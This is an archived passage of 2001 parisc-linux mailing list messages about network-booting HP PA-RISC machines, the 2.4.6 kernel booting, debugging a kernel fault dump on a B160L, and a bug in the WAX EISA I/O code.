> the file system it mounted - no /dev/tty*, no /sbin/init, etc.
> Could be access permisions problems.  Try mounting the fs from some
> other system and check things look ok.
>
> If you grab the 0.9.1 ISO and boot the lifimage from that, the
> lifimage contains 32 and 64 bit kernels, and a ramdisk.  It should
> boot and mount root from the ramdisk (not from nfs).
>
> Richard
>





From - Thu Nov 08 21:18:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] opening initial console
Date: Fri, 6 Jul 2001 18:08:25 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20010706180825.A23509@linuxcare.com>
References: <000d01c10626$ac7139f0$0f809b8e@ati.stlawrencec.on.ca> <20010706153937.Z23509@linuxcare.com> <001901c1062d$a08091c0$0f809b8e@ati.stlawrencec.on.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620273 21786 80.91.229.3 (22 Nov 2014 01:37:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rpengelly <rpengelly@ati.stlawrencec.on.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 11:09:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6336F482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 11:09:13 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 4C974B00C; Fri,  6 Jul 2001 18:08:25 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <001901c1062d$a08091c0$0f809b8e@ati.stlawrencec.on.ca>; from rpengelly@ati.stlawrencec.on.ca on Fri, Jul 06, 2001 at 11:09:17AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:11526

On Fri, Jul 06, 2001 at 11:09:17AM -0400, rpengelly wrote:
> I'm confused about booting from a lifimage. How do we go about this. Note:
> we are unbale to install via CDROM because of harware issues so we are
> relying on a network install.

palo can take a kernel image and wrap stuff round it to make a bootable
image.  That is called a lifimage.  You managed to boot from the
network, so you must have booted a lifimage format file.  You must
have put that lifimage somewhere that bootp/rbootd could find it
when asked by your parisc box.  On the CD is a file called lifimage,
in dists/sid/main/disks-hppa/current/lifimage (or similar).  Simply
copy that file to your bootp server, placing it and naming it as
you did for whatever you booted last time.  Then tell your parisc
box to boot from the network.  Don't interact with the IPL to modify
any kernel boot parameters - it should all "just work".

You should get the installer release notes page displayed, hit return
and you are in to the main installer menu.

Once you have the system installed and using palo to boot from disk,
palo uses plain kernel image files, not lifimages.  Those live in
/boot/vmlinuz or similar, and should be set up for you during the
install.

Hope that helps, ask again if not.

Richard





From - Thu Nov 08 21:18:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.6 boots!
Date: Fri, 06 Jul 2001 15:47:43 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <E15IdRv-00051U-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620273 21789 80.91.229.3 (22 Nov 2014 01:37:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 15:47:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CD80482B
	for <parisc-linux@parisc-linux.org>; Fri,  6 Jul 2001 15:47:46 -0600 (MDT)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel6.hp.com (Postfix) with ESMTP id 20CB01F7A5
	for <parisc-linux@parisc-linux.org>; Fri,  6 Jul 2001 17:47:45 -0400 (EDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id PAA02874
	for <parisc-linux@parisc-linux.org>; Fri, 6 Jul 2001 15:47:44 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.22 #1 (Debian))
	id 15IdRv-00051U-00
	for <parisc-linux@parisc-linux.org>; Fri, 06 Jul 2001 15:47:43 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11527

2.4.6-pa2 boots (serial console) both 64 and 32-bit on c3000 and
b180.  It may be hanging on 712 (I had to remove CONFIG_GSC_WAX
to get rid of an infinite loop).  Boot-time IP configuration
(PNP+BOOTP) isn't working (with tulip anyway) but static network
configuration works.  I just laid down the LINUS_246_DEVEL tag
so I guess the tree's open for business again.

	-P




From - Thu Nov 08 21:18:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.6 boots!
Date: Fri, 6 Jul 2001 22:52:39 +0100 (BST)
Lines: 9
Approved: news@gmane.org
Message-ID: <E15IdWh-000517-00@the-village.bc.nu>
References: <E15IdRv-00051U-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620273 21792 80.91.229.3 (22 Nov 2014 01:37:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: bame@fc.hp.com (Paul Bame)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 15:52:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F2B3482B
	for <parisc-linux@parisc-linux.org>; Fri,  6 Jul 2001 15:52:40 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 15IdWh-000517-00; Fri, 06 Jul 2001 22:52:39 +0100
In-Reply-To: <E15IdRv-00051U-00@noam.fc.hp.com> from "Paul Bame" at Jul 06, 2001 03:47:43 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11528

> to get rid of an infinite loop).  Boot-time IP configuration
> (PNP+BOOTP) isn't working (with tulip anyway) but static network
> configuration works.  I just laid down the LINUS_246_DEVEL tag
> so I guess the tree's open for business again.

Congratulations folks




From - Thu Nov 08 21:18:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.6 boots!
Date: Fri, 6 Jul 2001 23:35:18 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20010706233518.G6103@parcelfarce.linux.theplanet.co.uk>
References: <E15IdRv-00051U-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620274 21796 80.91.229.3 (22 Nov 2014 01:37:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:54 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 16:35:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45FBE482B
	for <parisc-linux@parisc-linux.org>; Fri,  6 Jul 2001 16:35:29 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15IeBy-00083x-00; Fri, 06 Jul 2001 23:35:18 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E15IdRv-00051U-00@noam.fc.hp.com>; from bame@fc.hp.com on Fri, Jul 06, 2001 at 03:47:43PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11529

On Fri, Jul 06, 2001 at 03:47:43PM -0600, Paul Bame wrote:
> Boot-time IP configuration
> (PNP+BOOTP) isn't working (with tulip anyway) but static network
> configuration works.

Apparently this changed upstream so you need to specify ip=bootp on
the kernel command line.  My palo/Makefile now reads:

CMDLINE = 0/vmlinux64 HOME=/ TERM=linux $(ROOT) $(CONSOLE) ip=bootp sym53c8xx=buschk:2

NFS Root is now working on my machine.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installation on B180L workstation.
Date: Fri, 06 Jul 2001 16:09:30 -0700
Organization: Hewlett Packard
Lines: 9
Approved: news@gmane.org
Message-ID: <3B46452A.D15E2F4C@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620274 21806 80.91.229.3 (22 Nov 2014 01:37:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul  6 17:12:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BC95482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 17:12:05 -0600 (MDT)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel2.hp.com (Postfix) with ESMTP id 84DBDD9D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Jul 2001 16:11:44 -0700 (PDT)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id QAA02532
	for <parisc-linux@lists.parisc-linux.org>; Fri, 6 Jul 2001 16:11:44 -0700 (PDT)
Original-Sender: gururaj@cup.hp.com
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11530

I am trying to install on B180L.  I have an external CD ROM.
 Does installation supports this configuration. ? If not
how can i install?







From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Ashcroft <scott.ashcroft@talk21.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.6-pa5 crashes on B160L
Date: Sun, 08 Jul 2001 16:21:28 +0100
Lines: 163
Approved: news@gmane.org
Message-ID: <3B487A78.45BA70AB@talk21.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620274 21809 80.91.229.3 (22 Nov 2014 01:37:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  8 09:21:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta06-svc.ntlworld.com (mta06-svc.ntlworld.com [62.253.162.46])
	by dsl2.external.hp.com (Postfix) with ESMTP id 154A7482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Jul 2001 09:21:31 -0600 (MDT)
Original-Received: from homer.intra.qzxyz.com ([213.104.66.118])
          by mta06-svc.ntlworld.com
          (InterMail vM.4.01.02.27 201-229-119-110) with ESMTP
          id <20010708152128.MJVH295.mta06-svc.ntlworld.com@homer.intra.qzxyz.com>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 8 Jul 2001 16:21:28 +0100
Original-Received: from edna.intra.qzxyz.com ([192.168.42.126] helo=talk21.com)
	by homer.intra.qzxyz.com with esmtp (Exim 3.12 #1 (Debian))
	id 15JGNF-0008Qq-00
	for <parisc-linux@lists.parisc-linux.org>; Sun, 08 Jul 2001 16:21:29 +0100
Original-Sender: ashcroft@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11531

2.4.0-pa51 boots fine. 2.4.6-pa5 goes:

Dumping Stack from 10554000 to 10554840:
4000 00000000 00000040 00000000 00000000 102833a0 00000000 00000000
ffffffff
4020 00000003 00000000 00000000 00000000 00000000 00000000 ffffffff
102832a0
4040 102832a0 0000001f 10548000 102cc000 10289600 00000000 00000000
00000000
4060 00000000 00000000 00000000 00000001 00000000 00000000 00000000
00000000
4080 00000000 102cc000 102cc000 10074000 00000000 00000000 10074098
102cc098
40a0 00000000 102ea01c 105540a8 105540a8 10554808 00000000 00000000
00000000
40c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
10554000
40e0 10119f98 00000000 00000001 00000000 00000000 0000001e 00000000
0000001f
4100 00000000 00000000 00000000 00000000 00000000 00000000 80000000
00000000
4120 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4140 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4160 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4180 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
41a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
41c0 fffffeff 00000000 ffffffff 00000000 10283f64 ffffffff ffffffff
ffffffff
41e0 ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
ffffffff
4200 ffffffff 000007bb 000007bb 00000400 00000400 ffffffff ffffffff
ffffffff
4220 ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000
00000000
4240 00000000 00000000 00000000 00000000 00000000 00000000 f0000c30
f0100000
4260 000000fd 00000001 00000001 1029ccd4 0004000e 0000004d 0000004e
f000a37c
4280 00043002 0006e000 00007bbb 00800327 00000000 00000000 00007bbb
00800327
42a0 00007bbb 10284810 00000001 1055cba0 102465bc 0004000e 0000004d
00000000
42c0 10100130 10118414 00000000 00007bbb 00800327 f0100000 102d3667
0000004d
42e0 00000024 0000003c 0000003e 10283010 00000001 102d3667 f000a37c
102d3643
4300 102d3643 00007bbb 00000002 0000001d 00007bbb 102d7810 102dc044
00000001
4320 1025b278 0006e000 f000a37c 00043002 0006e000 00007bbb 00008124
102d3643
4340 102d3643 101581a4 0000001d 00000800 00007bbb f0100000 00000003
00000000
4360 102cc554 1025b464 00000000 1030d0c0 00000020 10284438 00000005
10284010
4380 1028443c 101581a4 00000018 000000c0 102cc840 1012d4ac 00000003
00000000
43a0 102cc594 1025b270 00000000 1030de40 00000020 10284438 00000002
10284010
43c0 1028443c 10157c00 00000000 00000000 00000000 00000000 0000004e
00008124
43e0 00000001 102cc594 000000f0 1030d240 00000000 10037000 1055e040
f0000174
4400 f0000c30 10131fb0 0000000f 00000001 00000001 10554740 10105cf8
00000001
4420 000000f0 00043002 000000f0 1030d0c0 0028a000 00000000 10289040
10289060
4440 102891fc 00000000 00000000 00000000 1055444c 00000000 00000000
00000000
4460 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
4480 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
44a0 00000000 00000000 00000000 10105c4c 00000000 00000000 00000000
00000000
44c0 102cc000 00000000 aaaaaaaa 00000000 00000000 00000000 00000000
00000000
44e0 00000000 00000000 00000000 10100144 00000000 00000000 00000000
00000000
4500 00000000 aaaaaaaa 00000000 00000000 00000000 00000000 00000000
00000000
4520 00000000 00000000 00000000 1029ce6c 00000000 00000000 00000000
00000000
4540 102e9810 10554000 10289600 102cc000 102c955c 102c9520 00000000
1055454c
4560 1055454c 00000000 102c955c 102a3258 00000000 00000000 00000000
00000000
4580 102c955c 1029ccd4 0004000e 0000004d 102e9810 10284ee4 10289600
102cc000
45a0 102c955c 102c9518 10554000 102a4e8c 102cc000 102c955c 102c94e8
00000000
45c0 102916fc 00000040 102e4404 102e4348 102916fc 00000040 1025cff8
1025d274
45e0 102e3010 102e3010 102c9518 102a4980 102cc000 102c955c 102c9508
10554548
4600 0004fe0f 10294810 102a4980 10291010 102917c4 102e4348 102e4404
10000080
4620 1028e748 0000004d 0004000e 1029ccd4 00000001 00000001 000000fd
f0100000
4640 f0000c30 f0000174 00000020 1025d080 1028d26c 10294cf4 10294810
00000002
4660 102659e8 102954c8 102917c4 1026e010 00000000 102e9810 10554840
102d7810
4680 000f0800 00000000 0000001f 00000000 0000001f 00000000 0000001f
00000000
46a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
46c0 00000010 00000020 7f7fffff ffffffff 43ebebeb e0000000 00000000
00000000
46e0 45e69c6a 25b7ea20 41800000 00000000 00000010 00000010 00000000
00000000
4700 00000040 00000080 00000100 00000200 00000400 00000800 7fffffff
7fffffff
4720 41000000 00000000 7fffffff 7fffffff 40800000 00000000 41000000
00000000
4740 40300000 00000000 40200000 00000000 40200000 00000000 41800000
7fffffff
4760 40000000 00000000 40000000 00000000 40800000 00000000 41000000
00000000
4780 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
47a0 00000000 00000000 102a4990 102a4994 f0102918 00000000 0004000e
0000004d
47c0 102d366e 0000001f 0e601200 00000000 1025d080 10283010 00000001
102d366e
47e0 102ed5a0 102d3646 102d3643 101bad34 0000000f 00000001 00000001
1029ccd4
4800 00000002 ffffffff ffffffff 0000000a 00000020 00000000 1026ceac
105547c9
4820 00000020 f0000174 f0000c30 10106748 0000000f 00000001 00000001
1029ccd4

Kernel Fault: Code=26 regs=10554600 (Addr=1025d080)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111000001111
r0-3     00000000 10294810 102a4980 10291010
r4-7     102917c4 102e4348 102e4404 10000080
r8-11    1028e748 0000004d 0004000e 1029ccd4
r12-15   00000001 00000001 000000fd f0100000
r16-19   f0000c30 f0000174 00000020 1025d080
r20-23   1028d26c 10294cf4 10294810 00000002
r24-27   102659e8 102954c8 102917c4 1026e010
r28-31   00000000 102e9810 10554840 102d7810
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 102a4990 102a4994
 IIR: 0e601200    ISR: 00000000  IOR: 1025d080
 ORIG_R28: 0004000e

What else is needed to debug this? Is there a ksymoops equivalent?
I can supply .config, System.map on request.

Cheers,
Scott




From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.6-pa5 crashes on B160L
Date: Sun, 8 Jul 2001 22:10:12 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20010708221012.N6103@parcelfarce.linux.theplanet.co.uk>
References: <3B487A78.45BA70AB@talk21.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620274 21812 80.91.229.3 (22 Nov 2014 01:37:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Scott Ashcroft <scott.ashcroft@talk21.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  8 15:10:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0214B482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Jul 2001 15:10:13 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15JLoi-0004TF-00; Sun, 08 Jul 2001 22:10:12 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B487A78.45BA70AB@talk21.com>; from scott.ashcroft@talk21.com on Sun, Jul 08, 2001 at 04:21:28PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11532

On Sun, Jul 08, 2001 at 04:21:28PM +0100, Scott Ashcroft wrote:
> 2.4.0-pa51 boots fine. 2.4.6-pa5 goes:
> 
> Dumping Stack from 10554000 to 10554840:

The stack dump isn't really necessary ... Does anyone else think we
should turn it off by default?

> Kernel Fault: Code=26 regs=10554600 (Addr=1025d080)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111000001111
> r0-3     00000000 10294810 102a4980 10291010
> r4-7     102917c4 102e4348 102e4404 10000080
> r8-11    1028e748 0000004d 0004000e 1029ccd4
> r12-15   00000001 00000001 000000fd f0100000
> r16-19   f0000c30 f0000174 00000020 1025d080
> r20-23   1028d26c 10294cf4 10294810 00000002
> r24-27   102659e8 102954c8 102917c4 1026e010
> r28-31   00000000 102e9810 10554840 102d7810
> sr0-3    00000000 00000000 00000000 00000000
> sr4-7    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 102a4990 102a4994
>  IIR: 0e601200    ISR: 00000000  IOR: 1025d080
>  ORIG_R28: 0004000e
> 
> What else is needed to debug this? Is there a ksymoops equivalent?
> I can supply .config, System.map on request.

I tend to look it up by hand -- 102a4990 is the most interesting address,
(IAOQ) and r2 is sometimes also interesting (not in this case, it
would seem).

It'd also be helpful to show where the kernel got to before it did the
stack dump -- might help track it down.
-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.6-pa5 crashes on B160L
Date: Sun, 08 Jul 2001 17:31:25 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <200107082331.RAA09058@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620275 21815 80.91.229.3 (22 Nov 2014 01:37:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  8 17:32:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8068482B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  8 Jul 2001 17:32:27 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id RAA09058;
	Sun, 8 Jul 2001 17:31:26 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sun, 08 Jul 2001 22:10:12 BST." <20010708221012.N6103@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11533

Matthew Wilcox wrote:
> The stack dump isn't really necessary ... Does anyone else think we
> should turn it off by default?
...

No. I don't think we should turn it off.
Not until we can get memory core dumps on crashes like HPUX does.

> It'd also be helpful to show where the kernel got to before it did the
> stack dump -- might help track it down.

Isn't that what the stack dump is for?

If one is really good (like jsm) and has a matching vmlinux and System.map,
one can backtrace the stack by hand by looking at stack frame (return pointer
is in the stack frame) and seeing how much each subroutine grows the stack
(look at code around subroutine call, iirc). I think the mail archives
have a concise desription of exactly how to use the stack dump.
But I am too lazy to look for it now.

If one is lazy and not quite so good (like me), then look at build-tools/astk
script. astk can sift through the stackdump for kernel symbols to produce
something almost sortof like a stack trace with some extra garbage in it.

> > What else is needed to debug this? Is there a ksymoops equivalent?
> > I can supply .config, System.map on request.
> 
> I tend to look it up by hand -- 102a4990 is the most interesting address,
> (IAOQ) and r2 is sometimes also interesting (not in this case, it
> would seem).

I use build-tools/a.c (compiled of course) to lookup symbols in a System.map.

The only other thing needed to debug the problem is for someone to unwind
the stack, see how it got where it was and then stare at the code until it's
clear why it crashed.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] I think WAX is broken
Date: Mon, 9 Jul 2001 00:44:02 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <20010709004402.Q6103@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620275 21819 80.91.229.3 (22 Nov 2014 01:37:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jul  8 17:44:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B1DC7482B
	for <parisc-linux@parisc-linux.org>; Sun,  8 Jul 2001 17:44:03 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15JODa-0007R2-00
	for parisc-linux@parisc-linux.org; Mon, 09 Jul 2001 00:44:02 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11534

Lamont just reported:

<lamont_work> Wax EISA: Ack, cannot read from 0xff48
<lamont_work> Wax EISA: Ack, cannot write to 0xff48
<lamont_work> Wax EISA: Ack, cannot read from 0xff48

so I took a look.

#define WAX_EISA_OUT(type, size) \
static void wax_out##type (struct pci_hba_data *hba, u16 addr, u##size d) \
{ \
	u32 out_addr; \
	if (((addr >= 0x00080000) && (addr < 0x00100000)) || \
		((addr >= 0x00500000) && (addr < 0x03C00000))) { \
		out_addr = 0xfc000000 + ((addr & 0xfc00) >> 6) + \
			((addr & 0x03f8) << 9) + (addr & 0x0007) ; \
		gsc_write##type(d,out_addr); \
	} else { \
		printk(KERN_ERR "Wax EISA: Ack, cannot write to 0x%x\n",addr); \
	} \
} 

`addr' is a u16.  it can't possibly be >= 0x00080000 or >= 0x00500000.
in <asm-parisc/pci.h>:

/* 
** We support 2^16 I/O ports per HBA.  These are set up in the form
** 0xbbxxxx, where bb is the bus number and xxxx is the I/O port
** space address.
*/
#define HBA_PORT_SPACE_BITS	16

#define HBA_PORT_BASE(h)	((h) << HBA_PORT_SPACE_BITS)
#define HBA_PORT_SPACE_SIZE	(1UL << HBA_PORT_SPACE_BITS)

#define PCI_PORT_HBA(a)		((a) >> HBA_PORT_SPACE_BITS)
#define PCI_PORT_ADDR(a)	((a) & (HBA_PORT_SPACE_SIZE - 1))

struct pci_port_ops {
